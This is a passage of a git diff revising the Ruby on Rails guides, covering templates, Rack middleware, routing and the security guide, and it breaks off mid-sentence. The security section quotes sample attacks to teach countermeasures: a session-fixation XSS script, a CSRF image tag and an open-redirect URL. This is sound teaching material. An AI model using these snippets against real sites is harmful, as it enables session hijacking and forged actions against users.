-ActiveRecord::Base.include(Yaffle::ActsAsYaffle) +# test/dummy/app/models/application_record.rb + +class ApplicationRecord < ActiveRecord::Base + include Yaffle::ActsAsYaffle + + self.abstract_class = true +end ``` -Run `rake` one final time and you should see: +Run `bin/test` one final time and you should see: ``` 6 runs, 6 assertions, 0 failures, 0 errors, 0 skips @@ -443,4 +493,3 @@ $ bundle exec rake rdoc * [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md) * [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/) * [Gemspec Reference](http://guides.rubygems.org/specification-reference/) -* [GemPlugins: A Brief Introduction to the Future of Rails Plugins](http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins) diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md index b3e1874048..3b773d84f8 100644 --- a/guides/source/rails_application_templates.md +++ b/guides/source/rails_application_templates.md @@ -22,11 +22,11 @@ $ rails new blog -m ~/template.rb $ rails new blog -m http://example.com/template.rb ``` -You can use the rake task `rails:template` to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL. +You can use the task `app:template` to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL. ```bash -$ bin/rake rails:template LOCATION=~/template.rb -$ bin/rake rails:template LOCATION=http://example.com/template.rb +$ bin/rails app:template LOCATION=~/template.rb +$ bin/rails app:template LOCATION=http://example.com/template.rb ``` Template API @@ -38,7 +38,7 @@ The Rails templates API is easy to understand. Here's an example of a typical Ra # template.rb generate(:scaffold, "person name:string") route "root to: 'people#index'" -rake("db:migrate") +rails_command("db:migrate") after_bundle do git :init @@ -78,7 +78,7 @@ gem_group :development, :test do end ``` -### add_source(source, options = {}) +### add_source(source, options={}, &block) Adds the given source to the generated application's `Gemfile`. @@ -88,6 +88,14 @@ For example, if you need to source a gem from `"http://code.whytheluckystiff.net add_source "http://code.whytheluckystiff.net" ``` +If block is given, gem entries in block are wrapped into the source group. + +```ruby +add_source "http://gems.github.com/" do + gem "rspec-rails" +end +``` + ### environment/application(data=nil, options={}, &block) Adds a line inside the `Application` class for `config/application.rb`. @@ -167,18 +175,24 @@ Executes an arbitrary command. Just like the backticks. Let's say you want to re run "rm README.rdoc" ``` -### rake(command, options = {}) +### rails_command(command, options = {}) + +Runs the supplied task in the Rails application. Let's say you want to migrate the database: + +```ruby +rails_command "db:migrate" +``` -Runs the supplied rake tasks in the Rails application. Let's say you want to migrate the database: +You can also run tasks with a different Rails environment: ```ruby -rake "db:migrate" +rails_command "db:migrate", env: 'production' ``` -You can also run rake tasks with a different Rails environment: +You can also run tasks as a super-user: ```ruby -rake "db:migrate", env: 'production' +rails_command "log:clear", sudo: true ``` ### route(routing_code) @@ -215,10 +229,10 @@ CODE ### yes?(question) or no?(question) -These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to freeze rails only if the user wants to: +These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to Freeze Rails only if the user wants to: ```ruby -rake("rails:freeze:gems") if yes?("Freeze rails gems?") +rails_command("rails:freeze:gems") if yes?("Freeze rails gems?") # no?(question) acts just the opposite. ``` diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md index 993cd5ac44..d67702f52e 100644 --- a/guides/source/rails_on_rack.md +++ b/guides/source/rails_on_rack.md @@ -58,23 +58,6 @@ class Server < ::Rack::Server end ``` -Here's how it loads the middlewares: - -```ruby -def middleware - middlewares = [] - middlewares << [::Rack::ContentLength] - Hash.new(middlewares) -end -``` - -`Rails::Rack::Debugger` is primarily useful only in the development environment. The following table explains the usage of the loaded middlewares: - -| Middleware | Purpose | -| ----------------------- | --------------------------------------------------------------------------------- | -| `Rails::Rack::Debugger` | Starts Debugger | -| `Rack::ContentLength` | Counts the number of bytes in the response and set the HTTP Content-Length header | - ### `rackup` To use `rackup` instead of Rails' `rails server`, you can put the following inside `config.ru` of your Rails application's root directory: @@ -82,9 +65,6 @@ To use `rackup` instead of Rails' `rails server`, you can put the following insi ```ruby # Rails.root/config.ru require ::File.expand_path('../config/environment', __FILE__) - -use Rails::Rack::Debugger -use Rack::ContentLength run Rails.application ``` @@ -113,10 +93,10 @@ NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`, ### Inspecting Middleware Stack -Rails has a handy rake task for inspecting the middleware stack in use: +Rails has a handy task for inspecting the middleware stack in use: ```bash -$ bin/rake middleware +$ bin/rails middleware ``` For a freshly generated Rails application, this might produce something like: @@ -124,7 +104,7 @@ For a freshly generated Rails application, this might produce something like: ```ruby use Rack::Sendfile use ActionDispatch::Static -use Rack::Lock +use ActionDispatch::Executor use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838> use Rack::Runtime use Rack::MethodOverride @@ -141,7 +121,6 @@ use ActiveRecord::QueryCache use ActionDispatch::Cookies use ActionDispatch::Session::CookieStore use ActionDispatch::Flash -use ActionDispatch::ParamsParser use Rack::Head use Rack::ConditionalGet use Rack::ETag @@ -192,14 +171,14 @@ Add the following lines to your application configuration: ```ruby # config/application.rb -config.middleware.delete "Rack::Lock" +config.middleware.delete Rack::Runtime ``` -And now if you inspect the middleware stack, you'll find that `Rack::Lock` is +And now if you inspect the middleware stack, you'll find that `Rack::Runtime` is not a part of it. ```bash -$ bin/rake middleware +$ bin/rails middleware (in /Users/lifo/Rails/blog) use ActionDispatch::Static use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8> @@ -212,16 +191,16 @@ If you want to remove session related middleware, do the following: ```ruby # config/application.rb -config.middleware.delete "ActionDispatch::Cookies" -config.middleware.delete "ActionDispatch::Session::CookieStore" -config.middleware.delete "ActionDispatch::Flash" +config.middleware.delete ActionDispatch::Cookies +config.middleware.delete ActionDispatch::Session::CookieStore +config.middleware.delete ActionDispatch::Flash ``` And to remove browser related middleware, ```ruby # config/application.rb -config.middleware.delete "Rack::MethodOverride" +config.middleware.delete Rack::MethodOverride ``` ### Internal Middleware Stack @@ -234,12 +213,16 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol **`ActionDispatch::Static`** -* Used to serve static files. Disabled if `config.serve_static_files` is `false`. +* Used to serve static files from the public directory. Disabled if `config.public_file_server.enabled` is `false`. **`Rack::Lock`** * Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex. +**`ActionDispatch::Executor`** + +* Used for thread safe code reloading during development. + **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`** * Used for memory caching. This cache is not thread safe. @@ -304,10 +287,6 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol * Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value. -**`ActionDispatch::ParamsParser`** - -* Parses out parameters from the request into `params`. - **`Rack::Head`** * Converts HEAD requests to `GET` requests and serves them as so. @@ -329,8 +308,6 @@ Resources * [Official Rack Website](http://rack.github.io) * [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html) -* [Ruby on Rack #1 - Hello Rack!](http://m.onkey.org/ruby-on-rack-1-hello-rack) -* [Ruby on Rack #2 - The Builder](http://m.onkey.org/ruby-on-rack-2-the-builder) ### Understanding Middlewares diff --git a/guides/source/routing.md b/guides/source/routing.md index 1a614fe42b..81321c7405 100644 --- a/guides/source/routing.md +++ b/guides/source/routing.md @@ -7,7 +7,7 @@ This guide covers the user-facing features of Rails routing. After reading this guide, you will know: -* How to interpret the code in `routes.rb`. +* How to interpret the code in `config/routes.rb`. * How to construct your own routes, using either the preferred resourceful style or the `match` method. * What parameters to expect an action to receive. * How to automatically create paths and URLs using route helpers. @@ -79,11 +79,13 @@ it asks the router to map it to a controller action. If the first matching route resources :photos ``` -Rails would dispatch that request to the `destroy` method on the `photos` controller with `{ id: '17' }` in `params`. +Rails would dispatch that request to the `destroy` action on the `photos` controller with `{ id: '17' }` in `params`. ### CRUD, Verbs, and Actions -In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as: +In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to +controller actions. By convention, each action also maps to a specific CRUD +operation in a database. A single entry in the routing file, such as: ```ruby resources :photos @@ -140,10 +142,10 @@ Sometimes, you have a resource that clients always look up without referencing a get 'profile', to: 'users#show' ``` -Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action: +Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action but you must also specify the `controller:` to use: ```ruby -get 'profile', to: :show +get 'profile', to: :show, controller: 'users' ``` This resourceful route: @@ -177,6 +179,8 @@ WARNING: A [long-standing bug](https://github.com/rails/rails/issues/1769) preve ```ruby form_for @geocoder, url: geocoder_path do |f| + +# snippet for brevity ``` ### Controller Namespaces and Routing @@ -248,11 +252,11 @@ TIP: _If you need to use a different controller namespace inside a `namespace` b It's common to have resources that are logically children of other resources. For example, suppose your application includes these models: ```ruby -class Magazine < ActiveRecord::Base +class Magazine < ApplicationRecord has_many :ads end -class Ad < ActiveRecord::Base +class Ad < ApplicationRecord belongs_to :magazine end ``` @@ -388,7 +392,7 @@ The comments resource here will have the following routes generated for it: ### Routing concerns -Routing Concerns allows you to declare common routes that can be reused inside other resources and routes. To define a concern: +Routing concerns allow you to declare common routes that can be reused inside other resources and routes. To define a concern: ```ruby concern :commentable do @@ -613,6 +617,8 @@ get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' } Rails would match `photos/12` to the `show` action of `PhotosController`, and set `params[:format]` to `"jpg"`. +NOTE: You cannot override defaults via query parameters - this is for security reasons. The only defaults that can be overridden are dynamic segments via substitution in the URL path. + ### Naming Routes You can specify a name for any route using the `:as` option: @@ -700,6 +706,8 @@ end NOTE: Request constraints work by calling a method on the [Request object](action_controller_overview.html#the-request-object) with the same name as the hash key and then compare the return value with the hash value. Therefore, constraint values should match the corresponding Request object method return type. For example: `constraints: { subdomain: 'api' }` will match an `api` subdomain as expected, however using a symbol `constraints: { subdomain: :api }` will not, because `request.subdomain` returns `'api'` as a String. +NOTE: There is an exception for the `format` constraint: while it's a method on the Request object, it's also an implicit optional parameter on every path. Segment constraints take precedence and the `format` constraint is only applied as such when enforced through a hash. For example, `get 'foo', constraints: { format: 'json' }` will match `GET /foo` because the format is optional by default. However, you can [use a lambda](#advanced-constraints) like in `get 'foo', constraints: lambda { |req| req.format == :json }` and the route will only match explicit JSON requests. + ### Advanced Constraints If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do: @@ -791,7 +799,11 @@ get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" } ``` -Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. +Please note that default redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. You can use the `:status` option to change the response status: + +```ruby +get '/stories/:name', to: redirect('/articles/%{name}', status: 302) +``` In all of these cases, if you don't provide the leading host (`http://www.example.com`), Rails will take those details from the current request. @@ -800,13 +812,28 @@ In all of these cases, if you don't provide the leading host (`http://www.exampl Instead of a String like `'articles#index'`, which corresponds to the `index` action in the `ArticlesController`, you can specify any [Rack application](rails_on_rack.html) as the endpoint for a matcher: ```ruby -match '/application.js', to: Sprockets, via: :all +match '/application.js', to: MyRackApp, via: :all ``` -As long as `Sprockets` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate. +As long as `MyRackApp` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate. NOTE: For the curious, `'articles#index'` actually expands out to `ArticlesController.action(:index)`, which returns a valid Rack application. +If you specify a Rack application as the endpoint for a matcher, remember that +the route will be unchanged in the receiving application. With the following +route your Rack application should expect the route to be '/admin': + +```ruby +match '/admin', to: AdminApp, via: :all +``` + +If you would prefer to have your Rack application receive requests at the root +path instead, use mount: + +```ruby +mount AdminApp, at: '/admin' +``` + ### Using `root` You can specify what Rails should route `'/'` to with the `root` method: @@ -909,7 +936,7 @@ The `:as` option lets you override the normal naming for the named route helpers resources :photos, as: 'images' ``` -will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers. +will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the `:as` option to name the helpers. | HTTP Verb | Path | Controller#Action | Named Helper | | --------- | ---------------- | ----------------- | -------------------- | @@ -1070,6 +1097,20 @@ edit_videos GET /videos/:identifier/edit(.:format) videos#edit Video.find_by(identifier: params[:identifier]) ``` +You can override `ActiveRecord::Base#to_param` of a related model to construct +a URL: + +```ruby +class Video < ApplicationRecord + def to_param + identifier + end +end + +video = Video.find_by(identifier: "Roman-Holiday") +edit_videos_path(video) # => "/videos/Roman-Holiday" +``` + Inspecting and Testing Routes ----------------------------- @@ -1077,16 +1118,16 @@ Rails offers facilities for inspecting and testing your routes. ### Listing Existing Routes -To get a complete list of the available routes in your application, visit `http://localhost:3000/rails/info/routes` in your browser while your server is running in the **development** environment. You can also execute the `rake routes` command in your terminal to produce the same output. +To get a complete list of the available routes in your application, visit `http://localhost:3000/rails/info/routes` in your browser while your server is running in the **development** environment. You can also execute the `rails routes` command in your terminal to produce the same output. -Both methods will list all of your routes, in the same order that they appear in `routes.rb`. For each route, you'll see: +Both methods will list all of your routes, in the same order that they appear in `config/routes.rb`. For each route, you'll see: * The route name (if any) * The HTTP verb used (if the route doesn't respond to all verbs) * The URL pattern to match * The routing parameters for the route -For example, here's a small section of the `rake routes` output for a RESTful route: +For example, here's a small section of the `rails routes` output for a RESTful route: ``` users GET /users(.:format) users#index @@ -1095,13 +1136,24 @@ For example, here's a small section of the `rake routes` output for a RESTful ro edit_user GET /users/:id/edit(.:format) users#edit ``` -You may restrict the listing to the routes that map to a particular controller setting the `CONTROLLER` environment variable: +You can search through your routes with the grep option: -g. This outputs any routes that partially match the URL helper method name, the HTTP verb, or the URL path. + +``` +$ bin/rails routes -g new_comment +$ bin/rails routes -g POST +$ bin/rails routes -g admin +``` + +If you only want to see the routes that map to a specific controller, there's the -c option. -```bash -$ CONTROLLER=users bin/rake routes +``` +$ bin/rails routes -c users +$ bin/rails routes -c admin/users +$ bin/rails routes -c Comments +$ bin/rails routes -c Articles::CommentsController ``` -TIP: You'll find that the output from `rake routes` is much more readable if you widen your terminal window until the output lines don't wrap. +TIP: You'll find that the output from `rails routes` is much more readable if you widen your terminal window until the output lines don't wrap. ### Testing Routes diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md index 1323742488..50866350f8 100644 --- a/guides/source/ruby_on_rails_guides_guidelines.md +++ b/guides/source/ruby_on_rails_guides_guidelines.md @@ -64,7 +64,9 @@ The guides and the API should be coherent and consistent where appropriate. In p HTML Guides ----------- -Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device. +Before generating the guides, make sure that you have the latest version of +Bundler installed on your system. As of this writing, you must install Bundler +1.3.5 or later on your device. To install the latest version of Bundler, run `gem install bundler`. @@ -82,6 +84,8 @@ or bundle exec rake guides:generate:html ``` +Resulting HTML files can be found in the `./output` directory. + To process `my_guide.md` and nothing else use the `ONLY` environment variable: ``` diff --git a/guides/source/security.md b/guides/source/security.md index e486edde31..c6bc1f3878 100644 --- a/guides/source/security.md +++ b/guides/source/security.md @@ -23,7 +23,7 @@ Web application frameworks are made to help developers build web applications. S In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). -The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person. +The Gartner Group, however, estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person. The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. @@ -41,28 +41,28 @@ NOTE: _HTTP is a stateless protocol. Sessions make it stateful._ Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request. Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application. -A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method: +A session usually consists of a hash of values and a session ID, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session ID. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method: ```ruby session[:user_id] = @current_user.id User.find(session[:user_id]) ``` -### Session id +### Session ID -NOTE: _The session id is a 32 byte long MD5 hash value._ +NOTE: _The session ID is a 32-character random hex string._ -A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date. +The session ID is generated using `SecureRandom.hex` which generates a random hex string using platform specific methods (such as OpenSSL, /dev/urandom or Win32) for generating cryptographically secure random numbers. Currently it is not feasible to brute-force Rails' session IDs. ### Session Hijacking -WARNING: _Stealing a user's session id lets an attacker use the web application in the victim's name._ +WARNING: _Stealing a user's session ID lets an attacker use the web application in the victim's name._ -Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session. +Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session ID in the cookie identifies the session. Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: -* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: +* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN, it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: ```ruby config.force_ssl = true @@ -89,13 +89,20 @@ This will also be a good idea, if you modify the structure of an object and old NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is `ActionDispatch::Session::CookieStore`._ -Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: +Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session ID. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: * Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _Storing the current user's database id in a session is usually ok_. -* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. +* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret (`secrets.secret_token`) and inserted into the end of the cookie. -That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. +However, since Rails 4, the default store is EncryptedCookieStore. With +EncryptedCookieStore the session is encrypted before being stored in a cookie. +This prevents the user from accessing and tampering the content of the cookie. +Thus the session becomes a more secure place to store data. The encryption is +done using a server-side secret key `secrets.secret_key_base` stored in +`config/secrets.yml`. + +That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters, use `rails secret` instead_. `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`, e.g.: @@ -130,16 +137,16 @@ The best _solution against it is not to store this kind of data in a session, bu ### Session Fixation -NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._ +NOTE: _Apart from stealing a user's session ID, the attacker may fix a session ID known to them. This is called session fixation._  -This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works: +This attack focuses on fixing a user's session ID known to the attacker, and forcing the user's browser into using this ID. It is therefore not necessary for the attacker to steal the session ID afterwards. Here is how this attack works: -* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image). +* The attacker creates a valid session ID: They load the login page of the web application where they want to fix the session, and take the session ID in the cookie from the response (see number 1 and 2 in the image). * They maintain the session by accessing the web application periodically in order to keep an expiring session alive. -* The attacker forces the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. -* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. +* The attacker forces the user's browser into using this session ID (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. +* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session ID to the trap session ID. * As the new trap session is unused, the web application will require the user to authenticate. * From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. @@ -153,7 +160,7 @@ The most effective countermeasure is to _issue a new session identifier_ and dec reset_session ``` -If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_. +If you use the popular [Devise](https://rubygems.org/gems/devise) gem for user management, it will automatically expire sessions on sign in and sign out for you. If you roll your own, remember to expire the session after your sign in action (when the session is created). This will remove values from the session, therefore _you will have to transfer them to the new session_. Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way. @@ -161,10 +168,10 @@ Another countermeasure is to _save user-specific properties in the session_, ver NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._ -One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago. +One possibility is to set the expiry time-stamp of the cookie with the session ID. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago. ```ruby -class Session < ActiveRecord::Base +class Session < ApplicationRecord def self.sweep(time = 1.hour) if time.is_a?(String) time = time.split.inject { |count, unit| count.to_i.send(unit) } @@ -189,13 +196,12 @@ This attack method works by including malicious code or a link in a page that ac  -In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example: +In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session ID in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is that if the request comes from a site of a different domain, it will also send the cookie. Let's start with an example: -* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file. -* `<img src="http://www.webapp.com/project/1/destroy">` -* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago. -* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. -* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. +* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file: `<img src="http://www.webapp.com/project/1/destroy">` +* Bob's session at `www.webapp.com` is still alive, because he didn't log out a few minutes ago. +* By viewing the post, the browser finds an image tag. It tries to load the suspected image from `www.webapp.com`. As explained before, it will also send along the cookie with the valid session ID. +* The web application at `www.webapp.com` verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. * Bob doesn't notice the attack - but a few days later he finds out that project number one is gone. It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email. @@ -218,9 +224,9 @@ The HTTP protocol basically provides two main types of requests - GET and POST ( * The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or * The user is _held accountable for the results_ of the interaction. -If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier. +If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however, do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier. -_POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. +_POST requests can be sent automatically, too_. In this example, the link www.harmless.com is shown as the destination in the browser's status bar. But it has actually dynamically created a new form that sends a POST request. ```html <a href="http://www.harmless.com/" onclick=" @@ -239,7 +245,9 @@ Or the attacker places the code into the onmouseover event handler of an image: <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> ``` -There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since `XMLHttpRequest` is subject to the browser Same-Origin policy - meaning only your site can initiate the request. +There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we must disallow cross-site `<script>` tags. Ajax requests, however, obey the browser's same-origin policy (only your own site is allowed to initiate `XmlHttpRequest`) so we can safely allow them to return JavaScript responses. + +Note: We can't distinguish a `<script>` tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all `<script>` across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a `<script>` tag. To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created rails applications: @@ -293,7 +301,7 @@ This will redirect the user to the main action if they tried to access a legacy http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com ``` -If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to an URL, check it with a whitelist or a regular expression_. +If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to a URL, check it with a whitelist or a regular expression_. #### Self-contained XSS @@ -373,9 +381,9 @@ Refer to the Injection section for countermeasures against XSS. It is _recommend **CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. -A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/news/item/Symantec-reports-first-active-attack-on-a-DSL-router-735883.html). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an 